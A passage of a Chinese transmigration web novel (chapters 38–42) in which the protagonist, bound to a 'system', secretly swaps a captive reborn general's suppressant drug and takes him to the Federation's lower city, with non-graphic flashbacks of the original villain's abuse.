系统第一次觉得自己拿捏住了秦越,略显得意,[反正要求就是这样,要不然他们不就是纯纯兄弟情了嘛。] 秦越的表情有些勉为其难,不过最后还是没有再置喙什么。 既然出入的通行证已经拿到手,那接下来只要伪装成顾夜霖把人带走就好了。 秦越觉得至少现在任务完成的方向有些眉目了。 房间内,贺煜臣已经将勺子放在一旁,他确定了粥里面没有奇怪的味道,吃下去也没有任何不良的反应。 这不太像秦越的行事风格。 秦越总是更倾向于直接动手,言语威胁已经是他最心善的表现了。 接下来几天,秦越依旧什么都没有做,甚至不怎么回来,除了固定时间会有人将食物送过来,贺煜臣觉得好像被人遗忘在了这个世界。 但这并没有让他放松下来,反而有种不知铡刀何时落下的惶惶之感。 入夜,贺煜臣被某种声音惊醒了,抬起头瞥到了一抹银色的流光。 他不动声色地看着走近的人。 过了零点,就已经是需要再打抑制剂的时间了,贺煜臣隐约能感受到被压制的能力在缓缓复苏。 来的人戴着之前的面具,没个正形地倚在门框上。 两个人在黑暗中无言地对视了一会。 在万籁俱寂中,贺煜臣听到对方问他:“你愿不愿跟我走。” 贺煜臣心想,果然,秦越终究还是来试探自己了。 只是他不明白,秦越明明可以把他拖去审讯室,直接逼问他跟顾夜霖有无关系,为什么非要用这种拐弯抹角的方式呢? 如果这样的话,是与否又有什么区别。 只不过其中一种答案会让他更痛。 贺煜臣抿着唇,平静地看了一眼秦越,最后给出了他的回答。 “我不会跟你离开的。” 系统:[?] 秦越:“?” 百思不得其解后,秦越紧张地问系统:“贺煜臣不会得了斯德哥尔摩综合征了吧?”—— 作者有话说:PS:脑回路不在一个频道的第不知道多少天[摊手] 第39章 秦越详细地复盘了一下整个过程,最后他总结也许是贺煜臣戒心太重了。毕竟在原文里,顾夜霖也是前前后后花了几个月,才说服打动了贺煜臣。 而目前来看,“顾夜霖”满打满算拢共跟贺煜臣就见过两面。 秦越:……失策了。 他像极了卡着DDL准备冲刺一把,结果发现着急忙慌之下,写错了课题。 可惜按顾夜霖的人设,秦越又不能硬逼着贺煜臣跟自己离开。 算了,只能走一步看一步了。 秦越伸手将贺煜臣拉起来。 贺煜臣措手不及,被秦越冰凉的手碰到时,他鸡皮疙瘩都要起来了。 他本就重病初愈,走路还有些虚浮,而秦越个子又高,步伐迈得也大,他几乎是整个人挂在秦越身上,被拖拽着走。 贺煜臣不知道秦越又在发什么疯,对他说的话又有什么不满意。可是秦越本就是个喜怒无常的人,朝他无缘无故的发火也很正常。 秦越站定后,把一个手提箱嫌弃地踢到贺煜臣面前。 “打开它。” 贺煜臣认出了这个手提箱,他很清楚里面装的是什么。 只是没想到,秦越会把抑制剂放得那么随意。 贺煜臣想可能是时间翻过零点了,秦越也不想再演下去了。他看了看箱子内部排列的整整齐齐的抑制剂,随手拿起一瓶,将注射器拆开递给秦越。 他低声替自己解释:“我没法给自己注射。” 秦越微微蹙眉,没有接过的意思。 说实话,秦越没看懂贺煜臣的行为举止,而且不知怎的,他也很烦看到对方这种放弃挣扎,屈服现状的模样。 他更倾向于看见之前那副反抗的模样,即使贺煜臣不知何时就会给他致命一击。 贺煜臣自嘲地抬了抬嘴角,这里没有镜子,只能估摸着位置,别扭地将手抬起,朝着自己的后颈上扎去。 秦越:“你在做什么?” 声音莫名地带上了火气。 贺煜臣不知所措地被秦越按下了动作,望向秦越的目光有些茫然。 难道不是注射抑制剂的时间到了吗? 但从秦越不太高兴的语气上来看,他似乎不是这个意思。 注射器被秦越态度强硬地拿走,然后手上多了另外一管药剂,他听见秦越说道:“我是让你把药换了。” 秦越看着他怔愣的表情,贺煜臣睁大眼睛的时候,总是会带着一种懵懂的稚气,让他狠不下心发火。 秦越好气又好笑,“我一句话都还没说,你倒是对自己下手挺狠的。” “……换?”贺煜臣低头看了一眼药瓶,不管是外貌和颜色都跟原来的抑制剂一模一样。 秦越在这几天的时间里,除了找到了答应联邦那一具遮人眼目的尸体,都花在了找这么一个差不多的替代品上。 替代品虽然也有些抑制作用,但是为了抑制那些刚刚激发异能的人用的。防止这些人还没适应自己的能力,误伤到别人。只是相当于削弱了异能的作用,也没有任何成瘾性。 贺煜臣沉默,迟迟没有将药换进去。 秦越站在一旁,垂眸看他:“你在等什么?” 贺煜臣觉得手上拿着的不是普通的药剂,而是可能随时变成秦越折磨自己的理由。 而秦越在逼着自己亲手将“罪证”放进箱子里。 秦越等得不耐烦了,抓着贺煜臣的手腕,将药剂按回箱子里空出的位置中。 “这不是很简单么。”他看着像被箱子咬了一口似的贺煜臣。 贺煜臣强行克制住把药拿出来的冲动,稳住自己战栗的声线,“你到底想要干什么?” 秦越像是没有看见贺煜臣眼里的绝望,依旧不冷不淡道:“救你。” 这一刻,贺煜臣差点以为自己听错了,忍不住喃喃,“真有意思……” 要不是自己知道秦越是怎样的人,他还真可能被这种冠冕堂皇的语气骗过去。 秦越:“升棺已经宣称对此次军队被袭事件负责,你对联邦来说,已经是一个死人了。哪怕你活着回去,别人只会觉得你和曾经的少将有几分相似罢了。” 你真不走吗?再不走你在联邦的墓碑都要修好了,说不定到下一个学期,你就要上历史课本了! 他话都说到这个份上了,秦越很纳闷,怎么贺煜臣还是无动于衷。 贺煜臣闭了闭眼睛,猜测秦越大概是在磋磨自己的心性。待他睁开眼睛,神色又平静下来:“你说得这些跟我有什么关系。” 忍耐,伪装温顺,蛰伏,然后一击毙命。 就跟以前一样。 贺煜臣知道秦越上辈子对他的所有羞辱,只是想一寸寸打断他不肯低下的骨头。 秦越对主动的投怀送抱反而兴致寥寥,甚至可以说不感兴趣。 “我又不打算离开,这里很安全。”贺煜臣深吸一口气,上前拥住了秦越,侧脸亲昵地他的肩上蹭了蹭,低眉顺眼地说道:“联邦想要我的命,至少我在这里还活着。” 秦越瞳孔皱缩:“……” 他被贺煜臣生涩地讨好给弄得愣住了,一时间没有反应过来,为什么贺煜臣会对一个陌生人那么顺从。 系统一整个傻眼:[我的男主怎么得了斯德哥尔摩综合征了!宿主您简直罪大恶极啊啊啊!] 贺煜臣的行为,充分表现出一种加害者是在保护我的心理。 秦越人麻了:“闭嘴,别鬼叫,我正在想办法。” 顶着贺煜臣温顺的眼神,秦越硬着头皮继续说:“你有没有觉得……你的认知出现了点问题。” 贺煜臣愣了片刻,依然固执己见,“我现在清醒得很。” 秦越想说,不,你出了大问题。 他欲言又止,止又欲言,最后只能轻轻推开了贺煜臣,“我不管你现在怎么想,但我们都有同一个目标。” 贺煜臣表情有一瞬间的空白,转而恢复了常态,顺着秦越的意思说道:“我看不出来……” “杀了秦越。”森冷的话语在夜色里蔓延。 每一个字都跟贺煜臣暗地里的想法不谋而合。 贺煜臣呼吸一错,窜起的寒意顺着骨节爬行,他想开口否认,可虬结的恐惧在疯狂滋长。 他没想到秦越把这件事情直接放在了台面上。 这句话简直就像一个杀人犯突然开口说,你看见我的脸了。 是要死了么? 贺煜臣空茫地望向秦越,求生的欲望和一了百了的心理在他脑海里争吵起来。 秦越看着贺煜臣沉默了,以为自己说动了他,“只要我们……”离开这。 他还没说完,就看见贺煜臣轻轻发着抖,眼神空洞无神,他心里一沉,“喂,你还好吧。” “我,我没有。”贺煜臣听到秦越的话,像一个溺水的人紧紧地抓住秦越的衣角,结结巴巴地说:“我没有想那么做。” 这话说出来,贺煜臣自己都不信。这更像是走投无路下,自暴自弃地尝试。 可偏偏秦越仿佛信了。 他声音本来就比较低沉,缓下语气后,莫名带着哄人般的纵容,“我知道了,你先冷静一下。” 秦越基本确认了一件事。 贺煜臣在畏惧他,并且就算没有当着本人的面,只是别人嘴上提到那“要杀他”这种话,贺煜臣都会表现得异常恐惧。 这不正常。 他本人目前对贺煜臣什么都没做,为什么对方会那么怕他。 但贺煜臣不相信秦越会那么轻拿轻放,他攥着秦越的衣服的手痉挛似的战栗着,眼里是无声的哀求。 秦越没安慰过人,盯着贺煜臣苍白的脸,无数话在舌尖绕了一圈又被生生咽了回去。 可是这种太久的沉默,让本就惊惶的人更加难熬。 贺煜臣苦笑一声,看来言语上的示弱并没有让秦越放过他。 于是他木然地走回到了客厅,将秦越曾经放在那的东西取了回来。 贺煜臣当着秦越的面顺势打开,里面摆放的形态各异的“道具”一览无余。 他压抑着自己的情绪,挤出一个笑,哑声道:“你想玩什么,我都可以陪你玩。” 秦越艰难地将目光移开,音调有些崩溃:“我不是这个意思。” 他只是看了一眼,就觉得不适。 贺煜臣不言不语,他垂着头,一件件地过目箱子里的东西,仿佛是个置身事外的局外人。 担心贺煜臣又要说什么不得了的话,秦越匆匆补充道:“我保证你不会有事的。也不会有第三个人知道我们今天说了什么。” 这是此事翻篇的意思么? 贺煜臣完全没有放下心。 不怪他总是会往坏的方向想,而是已经有了前车之鉴。 他不由自主地想到了从前。 曾经秦越也是和颜悦色地说会让他走,可是这个人翻脸比翻书还快,只是瞥见自己没藏住的那一点期盼,他就被秦越毫不留情地摁在水里。 直到快要窒息,自己才被大发慈悲的男人从水里捞出来。 秦越完全没有停手意思,他不顾自己的哀求,就要当着一群人的面,威胁般地要拨开湿透的衣服。 在一片起哄的声音中,羞耻对他来说好像已经感觉不到了。 虽然秦越最后没有那么做,但那不是因为他良心发现,而是觉得自己的东西别人不配觊觎罢了。 这只是秦越给的一个警告。 毕竟对于一个玩物来说,就不该有什么逃走的想法。 贺煜臣突然感到发顶被人轻轻地抚过。 很温暖,也很……温柔。 这种陌生的感觉,让他本能地绷紧肩胛。 秦越绞尽脑汁,也想不出再多安慰人的话,只能摸了摸贺煜臣的头顶,像是在给炸毛的小动物顺了顺毛。 可能是他本人就不擅长表达关心,因此动作说不上的不自然和生疏。 “别怕他。”秦越这样说道—— 作者有话说:在这场脑电波之战中,终于有人发现了不对劲[裂开] 第40章 贺煜臣完全没有放松,他直直地盯着秦越,仿佛一移开视线,秦越就要变成另一幅恐怖的模样。 场面僵持不下,秦越看了一眼时间:“你打算在这站一晚上?” 贺煜臣不为所动的神情表明了他的态度。 简直跟熬鹰一样,秦越只好陪着他熬夜。 一直到天蒙蒙亮,贺煜臣才撑不住睡着了。 秦越看着贺煜臣蜷缩在一旁的姿势,也没动他,只是拿了一床被子就地给他盖上。 他把面具卸下,本想让系统查查贺煜臣到底怎么回事,手下就通报他,顾夜霖把事情交代完了。 倒是也没想到男二这么快就顶不住压力了。 不过作为一个涉世未深的年轻人,也不能对他要求太多。 秦越听完手心交代的来龙去脉,大致了解清楚情况。 男二的动机确实跟原文没有什么大的出入。 联邦中派系林立,其中名为“共辉”的政党,党派理念与贺煜臣相近。他们认为人类在末世已经足够艰辛,不该根据是否有异能,以及异能的强弱大小来分门别类。 他们主张在这个人口数量稀少的世界,每个人都应该尽力发挥自己的能力,无论强弱。把非异能者排除出联邦,从另一方面来说,减少了联邦的劳动力,整体弊大于利。 共辉不仅要说服联邦其他政党接受自己的理念,对他们来说,最棘手的是废墟遗迹的这些组织,尤其以升棺尤甚。 升棺的首领秦越,是个不折不扣的敌对者,他们不得不想办法先解决秦越这个刺头。 顾夜霖是他们选择深入敌营的对象,这个可怜人的父亲前一段时间刚被秦越处死,他们认为顾夜霖至少不存在倒戈的可能性。 秦越:…… 我的命真的很抢手。 秦越打了个哈欠,戳了戳蔫吧地倒在自己肩膀上的系统,“我一晚上没睡,你还想睡觉?” 系统面瘫脸:[我是绝望,您看不出来吗?] [到底是哪里出了问题?]系统跳了起来,眼睛里充满这事好不了的绝望。 秦越心放得很宽,“你查查贺煜臣到底怎么回事?我感觉他不对。” 系统:[这能对吗?这肯定不对啊。还需要查吗?] 秦越弹了它脑袋一下,“看不出来么?他对我的态度不正常。” 就像是……对某些事已经刻骨铭心,遗忘不掉,也摆脱不掉。 他会主动地委曲求全,而自己从来没说要把那些东西用在他身上。 系统卡顿了一下,理解完秦越的意思后,诧异地说:[您怀疑男主以前就认识原主?不可能的,剧情里面他是来到废墟遗迹才见到原主的,而在原主没有被驱逐出联邦时,他们根本不在一个城区,完全没有见面的可能。] 它虽然嘴上否定,但是介于它看过秦越之前的任务记录,开始不确定起来。 任务记录写的不会很详细,只会记录完成度,和完成时间,以及一些突发意外情况。 而它的宿主,上个世界的完成度虽然是百分之百,但花的时间长达六十多年。系统当时看到的时候,还以为自己眼花了,上上下下看了半天,甚至以为上个世界是修真世界,才会把战线拉得那么长。 更恐怖的是,后台记录中,有一条重大BUG记录。BUG备注上标明的是,位面男主被更改了。 系统:不会这个世界男主也特么变了吧! 它紧张地打开后台数据库,再三确认男主还是贺煜臣后,大大地松了一口气。 但由于阅读速度过快,等它意识到看到什么的时候,忍不住惨叫一声。 所有角色在后台数据里面都是二进制代码,包括男主也是。系统只是看了一眼,就发现了其中的不对。 ——贺煜臣的代码里有这本小说的全部原文。 系统不死心地仔细审查,然后发现它没有看错,也就是说……男主他出bug了? 它终于明白,贺煜臣恨意值开局就那么高的原因了。 秦越被系统突然的惨声大叫,惊得睡意全无。 “你能不能别天天乱叫?”他已经发现了这个系统,特别喜欢鬼哭狼嚎。 系统:[出了点事情……不确定,我再看看。] 它语气匆匆敷衍了一下秦越,转头火速向总局汇报情况,[喂,有没有人呐。] 总局在嘟嘟声中,冰冷地回复:[繁忙中,请等待。加急请按#号键。] 系统总觉得这个场景似曾相识,但它顾不了那么多了,按完#号键后,那边传来总局人员的声音。 [请问有什么可以帮你的?] 声音听上去是个可靠的大姐姐,系统心里安稳一些,[我要汇报1027号员工所在的小世界出了点问题!这个世界的男主为什么会有剧本??] 贺煜臣有剧本,他们还助攻什么?它现在更担心宿主的小命不保,万一没死在正确的时间节点,被贺煜臣提前手刃了,那本就乱成一锅粥的剧情可以趁热喝了。 那头沉默了一会,然后给了回答:[你是不是看错了?] 系统把数据噼里啪啦地发过去,[男主的代码里就是有剧本的数据。] 大姐姐的声音也很为难,[要不就当男主是重生的吧,凑合一下。最近各个世界的纰漏都太多了。] 系统抓耳挠腮:[不行啊,您不懂,我宿主虐男主都是嘴上说说,但是男主他会来真的啊!] 它突然心里一个咯噔,想起来秦越昨晚干了什么,他把抑制剂给换了! 来不及再跟推卸责任的总局掰扯,系统赶紧跟秦越说:[快!把你昨天换的药给换回来!] 秦越:“……你没事吧?” 系统古怪地看着秦越:[我没事,有事的是……您。] 秦越:“?” 系统晃到贺煜臣旁边,确认他是真睡着了,不是在装睡后,像是避开一个随时会起爆的炸弹,来到秦越面前。 [我要说一件事情,您先不要慌。] [男主是重生的。] [不换抑制剂,您就要见不到明天的太阳了。] 本来是想让秦越慢慢增加恨意值,最后水到渠成,在贺煜臣最意气风发的时候,作为一个反派祭天。 现在计划有变,保命要紧!否则还没推进贺煜臣跟白月光的感情进度,就要提前被踹出小世界了。 秦越揉了揉额角,头疼道:“你这时候跟我说这些?” 会不会有点晚了。 如果贺煜臣是重生的话,他必然已经知道顾夜霖的存在。怪不得……昨晚让他跟自己离开,反应会那么大。 也难怪贺煜臣会那么怕自己。 秦越落到了两难的境地,他不是很想给贺煜臣用药,但是不那么做的话,这次世界的任务必然是完成不了了。 他烦躁地想出去抽一支烟,刚一起身,就感到了一阵阻力。 秦越视线下移,看到贺煜臣醒了。对方还带着刚睡醒的茫然,抓住他的衣袖只是条件反射。 “……”似乎是看到秦越脸色不好看,贺煜臣缓缓地松开了手。 秦越还穿着昨晚的衣服,实际上,眼下也没有什么演的必要了。 如果顾夜霖“请”不动他,秦越只能按原主的人设,硬逼着他回联邦了。 秦越面色复杂地看向他,斟酌了一下言语,“联邦本想让我处决你,再把你尸体送回去研究,可是他们又觉得活体的价值更高,所以恭喜你,不用死在异地他乡了。” 这些话自然是骗贺煜臣的,联邦高层这辈子,估计都不想看到贺煜臣再踏足联邦的土地。 他无视了被贺煜臣攥得发皱的衣服,取出一管抑制剂。 贺煜臣看不到秦越的动作,也不知道对方拿的是不是昨天换掉的那剂药,但那种注射完后的排斥感,在回忆里变得更加清晰痛苦。 看着抑制剂离自己越来越近,贺煜臣没忍住干呕了一声。 “抱歉,我……”贺煜臣突然噤声,他不明白自己为什么要道歉。 说对不起,也没有任何用处。 忍着液体进入肌肉的不适感,贺煜臣就像是认清了现状,他乖乖地坐在那里等待药效的发作,熟练得让人心疼。 系统看了看拿出的药剂,扫描了一下成分:[咦咦咦?!您注射错了,您用的是昨天换的那个药!] 秦越轻声道:“你现在可以开始祈祷了。” 系统不懂:[啥啥啥?祈祷啥,我是无神论者。] 秦越将空了的药瓶扔到一边,无所谓地说:“祈祷我能在贺煜臣手底下多活几天吧。” 这对系统来说不亚于是晴天霹雳,[您疯了吗?我还没有报备!] 对小世界的宿主来说,死亡不是小事。无论是死遁,还是按原剧情推进,到了所谓的死亡节点,系统们都需要提前报备,好安排宿主们在死亡来临的瞬间,脱离这个世界。 系统第一次体会到校园文里,学渣们在老师挨个检查作业时,手忙脚乱抄作业的仓皇了。 它一边化身八爪鱼写着报备,一边警惕地盯着贺煜臣。 贺煜臣等了很久,也没有等来药效的发作,他能感到自己的异能尚在,只是变得很微弱。 “……”贺煜臣不安地摸了摸后颈,这次给他注射的似乎跟以前不一样了。 秦越笑了笑,“我说了联邦要你的活体数据,这次他们让我给你换了更温和的药。” 骗子。 联邦才不会那么做,他们巴不得让自己活得生不如死。 贺煜臣目光落在秦越的脸上,明明看上去很有距离感的人,笑起来却又那么有欺骗性。 说的话……也没有一句是真的—— 作者有话说:系统:我为什么鬼哭狼嚎,您心里还没点数吗?[裂开]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 系统对着秦越挤眉弄眼:[任务——剧情——人设——] 它个字声音都拉的老长,生怕秦越听不见。 按照剧情,原主早就开始变着花样开始折磨男主了。 系统见秦越还是没反应,提醒他:[那么多天,您从来没用过道具。而且贺煜臣是重生的,千万不要在他面前做出任何不符合人设的事情!] 秦越皱眉:“非做不可?” 系统坚定点头,并说:[如果再不符合人设,您要么接受处罚,要么被强制脱离世界。] 秦越冷静地衡量着几个选项,如果按照那些处罚选项,贺煜臣搞不好真会在自己没意识的时候就把他弄死了,但若是被强制离开,原主就会重新回到小世界,他也不想看到这个场面。 几个选项都是糟糕透顶,但秦越不得不选出一个最利于贺煜臣的答案。 贺煜臣看见秦越脸色难看地出去,过不了几分钟,又回来了。只不过这会,对方神色稍缓。 贺煜臣心里猛得一跳。 他觉得秦越似乎已经找到了出气的目标。 贺煜臣浑身肌肉绷紧,不动声色地想护住自己脆弱的腹部。 在他还没做好被秦越揍得时候,一个冰冷的东西铐在自己的脚踝上。 这是一个改造过后的一个脚环。 只不过带着一个定位的芯片。 贺煜臣之前也见过这种东西,它们大多数会出现在联邦首都里贵族太太和小姐们的宠物身上。 这些宠物不论是猫猫狗狗都带着一个精致的项圈,曾经有一位高官太太跟他介绍说自己的宠物特别喜欢到处乱跑,有了这个东西再也不用提心吊胆了,自己至少知道它的位置了。而且别人看到这个项圈,也会明白这只宠物身份不一般,省的在外面的时候被人欺负。 但眼下这个脚环……似乎是被秦越改过。因为它们本来该戴在更明显的颈部,这样可以无时无刻地给别人展示,羞辱性质更大。 秦越将他的裤腿放下,瞬间就把那个脚环完完整整地遮住了。 “好了。”秦越又变回了那副不容置喙的模样,“我们很快就会去联邦,别想着在路上逃跑。” 他虽然笑着,但眉眼里暗藏着胁迫:“如果让我交不了货,我可能会很生气。” 贺煜臣明白对方说的货物就是自己,他同样换上一个浮于表面的笑容,“请放心,在联邦我已经是个没有身份的死人了,我无处可去。” 秦越当然不信,男主可是连一点机会都不放过的人,只不过贺煜臣在硬演,他也只能配合着对方演戏。 联邦给的ID卡可以让他顺利进入首都,但同时政府那边也会得到他入境的消息。 所以秦越准备混入原主小时候生活过的下城区,避开政府的眼线。先找到原主曾经的住处将就几天,然后想办法跟白月光来一场策划好的偶遇。 因为他总不能跟总统直言不讳,说老登,我要见你儿子一面吧。 ……这听上去跟威胁总统也没太大的区别。 — 联邦首都,下城区。 加压蒸汽从巨大的输气管中嘶鸣着喷出,贺煜臣望着散发着霉菌味道的蒸汽,那是为整个首都发电装置的附加产物。 但它的所在地并不是在使用电力最多的上城区,而是在一到晚上就只有零星灯火的下城区。 污染气体都盘踞在这些拥挤破旧房屋的上空。 “看,他们在为你悼念。”秦越突然说道。 贺煜臣顺着秦越所指的方向望去。在这片没有灯光的地方,蜡烛是珍贵的消耗品,莹莹烛光照亮了一张照片。 还不等他反应,秦越已经走近那个小小的桌台。 “看样子下城区守夜的习惯一点没变。”秦越将被风吹得有些歪的照片扶正,照片上的贺煜臣看上去不是很严肃,嘴角微扬,还带着少年的意气。 台面很干净,证明一直有人好好地打理收拾,照片前的白雏菊还带着露珠,像是不久前刚放上去的。 贺煜臣:“守夜?” 秦越随口解释:“据说死在他乡的人,魂魄会迷失方向。他们给你点了一盏灯,希望你能找到回家的路。” 贺煜臣从未来过这里。 并非他嫌弃下城区恶劣的生活环境。而是在军校毕业后,贺煜臣就一直没怎么在首都待过了,大部分时间都和士兵们在无人区肃清感染者。 他竟不知道,这里还有一群人如此尊崇他。 秦越看出了贺煜臣哑然,但他没多说什么,只是伸手将快燃尽的蜡烛换掉。 下城区的人活着就是在被压榨,还终日在被可能会被驱逐出去的恐慌中度过。 他们根本没见过贺煜臣本人,只通过口口相传,传来传去大家都听说了有那么一个人,他不满联邦的现行政策,会愿意为他们这种生来就被无视的人发声。 秦越语气平淡:“很奇怪么,人总得有点希望才能活下去。” 希望。 好渺茫的东西。 但贺煜臣自己也偏偏是靠着这种虚无的东西,踏过了深渊。 那张照片是他刚毕业没多久,第一次带领军队收复一片无人区后,政府公开褒奖时放出的视频截图。 贺煜臣已经不记太清当时喜悦的感觉了,现在看到照片只觉得恍若隔世。上辈子加这辈子,他很久没有如此纯粹的快乐过了。 他的视线从照片转回到秦越脸上。 秦越说过他是应联邦政府的要求,才把自己送回来。可这说不通,因为他带自己来到政府管理最薄弱的下城区。 他到底想做什么呢? 秦越不知道贺煜臣心理活动那么多,他正站在路口,依靠着原文里的描写,仔细辨认着迷宫似的巷口,来推测哪个才是回原主家的。 最后还是有个老人家瞅到了他。 对方年纪太大,视力已经不行了,外加天色昏暗,他凑近了秦越眯着眼睛瞧了半天。 老人家不确定地说:“你是秦家那个……秦越么?你是怎么回来的?” 虽然秦越有原文的剧本,可是小说也不会详细地把原主的街坊邻居通通写出来。 秦越只好含糊地点了点头。 老人继续问他:“你父母还好么?” 秦越顿了一下,“离开联邦后没多久,他们就不在了。” “……被联邦高层驱逐的人,很少有人能活着走到安全区。”老人没有太多的伤心,全然是看开了之后的麻木,“你能活下来真是个奇迹。” 原主一家被驱逐离境之后,便准备往勉强可称之为安全区的废墟遗迹出发。在路途上,父母为了保护孩子们不幸地被感染者吞噬。 原主不稳定的异能在极度的悲恸下爆发了,可是对于原主来说已经太迟了,他的哥哥姐姐们均已丧生,转瞬间地上只有亲人以及感染者叠加在一起的尸体碎片。 短短几分钟内,他在满地血污中就变成了孤身一人。 贺煜臣目光落在秦越身上,他从未了解过秦越的过往,只知道对方曾使过了劣质的诱导剂。他一直以为秦越施虐欲是因为诱导剂产生的副作用,现在看起来不尽然。 ……原来在那些日日夜夜里,秦越看着他的眼神,是真的恨不得想杀了他。 秦越没什么表情地附和了一声,准备向老人问个路,“请问我家在哪个方向?离开这太久了,我有点忘了。” 老人诧异反问:“你家?你家早就不在了。联邦把你们赶走后,你家的地皮自然是回到联邦手上了。现在可能分配给别人了吧。” 毕竟下城区的人口是上城区的数倍。 下城区居民的异能遗传不稳定,不像上城区的人,后代总是会稳定携带异能。他们只能跟开盲盒一样生孩子,祈祷某一个后代能产生异能。这导致他们家庭人口总是很庞大,一个家庭里就指望能有一个出现异能的人,保留他们居住在联邦的权限。 按照这样的话,秦越就不得不找新的落脚处了。 老人好奇地朝秦越身后瞥了瞥,“这是谁?” 秦越不动声色地站在贺煜臣前面,挡住了老人探究的视线,“我朋友。” “只是朋友么?”老人一脸我这个年纪你还想诓我的表情。 老人依旧当秦越还是自己从小看到大的孩子,他居住在消息滞后的下城区,废墟遗迹那些雇佣兵组织的名字他也仅仅是听过,更详细的事情一概不知。 他对待秦越的态度,跟其他人那种畏缩的样子完全不一样。 贺煜臣看着被老人调侃,却硬着头皮没有反驳的秦越,觉得很陌生。 这看上去很不可思议,但秦越的尴尬和无措又让这个画面变得合情合理。 他好像窥探到了一个从没有见过的秦越。 秦越余光扫到贺煜臣的“遗照”,再跟老邻居聊下去,引来其他人就坏事了,他不置可否:“我们大概会在这里住一段时间,附近有没有可以住宿的地方?” “那边有家旅馆。不过说是旅馆,也就是那个人用自己家改造的,环境太不好。” 有住的地方就可以了,免得还要带着男主睡桥洞。 秦越道了谢,婉拒了老人想让他留宿在自己家的好意。他不清楚对方家里什么情况,下城区人多眼杂,万一走漏了风声,得不偿失。 他们很快就走到了老邻居给他指的旅店。从外观装潢来看,就充斥着破旧感。 荧光涂鸦在潮湿墙面晕染成看不出轮廓的图案,一进楼道寒气就带着难闻的潮气迎面扑来。 秦越转向贺煜臣这张在下城区很出名的脸,朝他丢了个面具,“戴上。” 免得让人家以为战死的贺少将诈尸了。 贺煜臣冷不丁地听到秦越发话了,慌乱之下双手并用才接过秦越抛来的东西。 是一个面具。 贺煜臣曾在午夜梦回时,被这张面具的主人唤醒。 也从这张面具下,听到过对方问自己愿不愿意跟他走。 一想到这个面具秦越戴过,他就莫名有些赧然—— 作者有话说:系统:道具呢??[裂开] 秦越:铐上了[点赞] 第42章 旅店的老板甚至懒得正眼看他们,也没有起身迎客,他坐在自己的小房间里。这里相当于前台,又可以算是保安室。 老板自顾自的朝着电视机方向,仿佛肥皂剧是他的一切。 秦越敲了敲被当做隔板的玻璃窗,“老板,开两间房。” “不好意思,只有最后一间房了。”老板没有降低电视音量的意思,只是把声音提高,“最近军校选拔,执政官亲自参与,别的地区人都往这跑,啧,人简直多的没边了。” 参加军队,立下军功,是普通人能实现阶级跨越的唯一办法。 但这不是秦越最关心的,他刚刚从老板嘴里听到了白月光。 联邦执政官韩明远,就是本文读者认为的白月光。 按照联邦的传统,以防止权力集中,军政分立。韩明远军校毕业后,介于总统之子的身份,并未进入军队,而是加入元老院,主要监察权力腐败以及修改法令,这是他投票当选执政官后的第一个任期。 秦越:“一间房也可以。” 顺手用联邦之前给他的银币付了钱。 老板跟脑后长眼一样,没回头就稳稳当当地接到了房费,等他看到客人给自己付的钱后,登时眼神一亮,对着电视剧的光仔细辨认了一下。 银币。 闪闪发光的、货真价实的银币。 “对了,要蜡烛吗?”老板将钥匙通过玻璃窗上的缝塞出来,用余光瞥着站在黑暗中的肥羊,心里打着小算盘,“晚上客房是没电的,你要的话我就不找你钱了。” 秦越知道对方想占小便宜,不过他没有计较太多,示意老板把蜡烛给他们。他可不想摸黑在这里待一晚上。 旅馆房间连饮用的水都没有,但秦越在上楼的时候,观察到走廊尽头有一间开水房。 在准备出去打水前,秦越还是不放心,他点上蜡烛,在房间晃了一圈,确定没什么问题后,他半是警告半是威胁地说:“老老实实地待在这里。” 贺煜臣还是很平静,也可以说是很顺从地点了点头。 秦越将他表情尽收眼底,他不是很信贺煜臣,不过已经在贺煜臣身上装了定位器,万一对方真逃了,他也能很快知道对方的位置。 贺煜臣的神色在秦越出去的一刹那,瞬间严肃起来,他深深吸了一口气,试图唤醒已经在缓慢复苏的异能。 如果他没记错的话,秦越这次出来并没有带上抑制剂,这说明他会很快把自己交出去。 虽然上辈子没有这段经历,但无疑死期在逼近自己。 贺煜臣按捺住纷杂的思绪,慢慢阖上眼。 旅馆桌面上过于简单,别说能跟上城区一样安排上装饰的假花,桌子上光秃秃的,仿佛被洗劫一空,只有一张没有被及时清扫走的,上一任房客留下的便签纸。 贺煜臣闭眼侧过头,朝纸张的方向伸出手,那张纸开始以肉眼看不见的频率在震颤着。 他耳朵突然动了动,眉头一蹙,嘴角瞬间抿成一个凌厉的弧度。 便签纸连带贺煜臣周围的能量波动,顿时消失不见了。 秦越在下一秒推门进屋,他觉得哪里好像变得不一样了,狐疑地看向贺煜臣。 贺煜臣还没来得及摆上伪装的温驯,就被秦越举着蜡烛凑近查看。 太近了。 蜡烛的火光感觉都快要灼伤他的眼睛。 强光刺激着眼球,眼眶里开始变得湿润,迅速凝起一点水光。 秦越状似无意地扫了一眼桌面,一字一句地说道:“过来。” 贺煜臣捕捉到了他的视线,一瞬间呼吸错乱起来。他下意识地凝聚起异能,回忆着下城区他们过来时弯弯绕绕的路线,时刻准备着逃离这里。 秦越见贺煜臣磨磨唧唧的,他不耐烦地掀起眼皮,“每次吃饭都需要我三请四邀么?” 他刚刚不仅去装了些饮用水,还去老板那买了一些速食。 这才几分钟,一回来就莫名觉得贺煜臣背着他,偷偷摸摸地不知道在盘算着什么。 这种被人算计的感觉当然不算好。 秦越深知原主是罪有应得,但是这种随时可能会来的报复,最终落在自己头上,心里还是挺不舒服的。 他故意冷着声音:“不吃就算了,我拿去喂狗。” 贺煜臣听完秦越的话,才发现原本空无一物的桌上,多了一袋子东西。 只不过是那种随处可见的黑色塑料袋,在乌漆嘛黑,本就视野不好的房间里,他刚刚太过紧张,竟然没有发现。 贺煜臣思绪一片混乱。 他脑海中闪过一个奇怪的猜想。 秦越变了。 眼前的人,跟上一世的秦越的形象,在贺煜臣的记忆里,缓慢又清晰地剥离开来,最后割裂成了两个人。 是因为自己重生了么? 导致这辈子发生的许多事情,跟以前完全不一样了。 就像很久很久之前,在还没有发生异变之前上映的一部老电影。 电影男主不断回到过去,却发现自己改变的每一件事情,只会在导致更灾难的结果。 蝴蝶不知何时轻轻扇了一下翅膀,只不过他的这只蝴蝶相当的仁慈。 没有比以前更坏了。 甚至可以说……他这辈子没有经历太多的痛苦。 贺煜臣第一次觉得幸运这件事,居然会降临到他头上。 他给自己倒了一杯水,撕开面包的包装袋。 面板吃起来很干,味道也不好,包装袋上画的夹心仅仅就是装饰。 贺煜臣拿起水杯,可他只尝了一点,就喝不下去了。 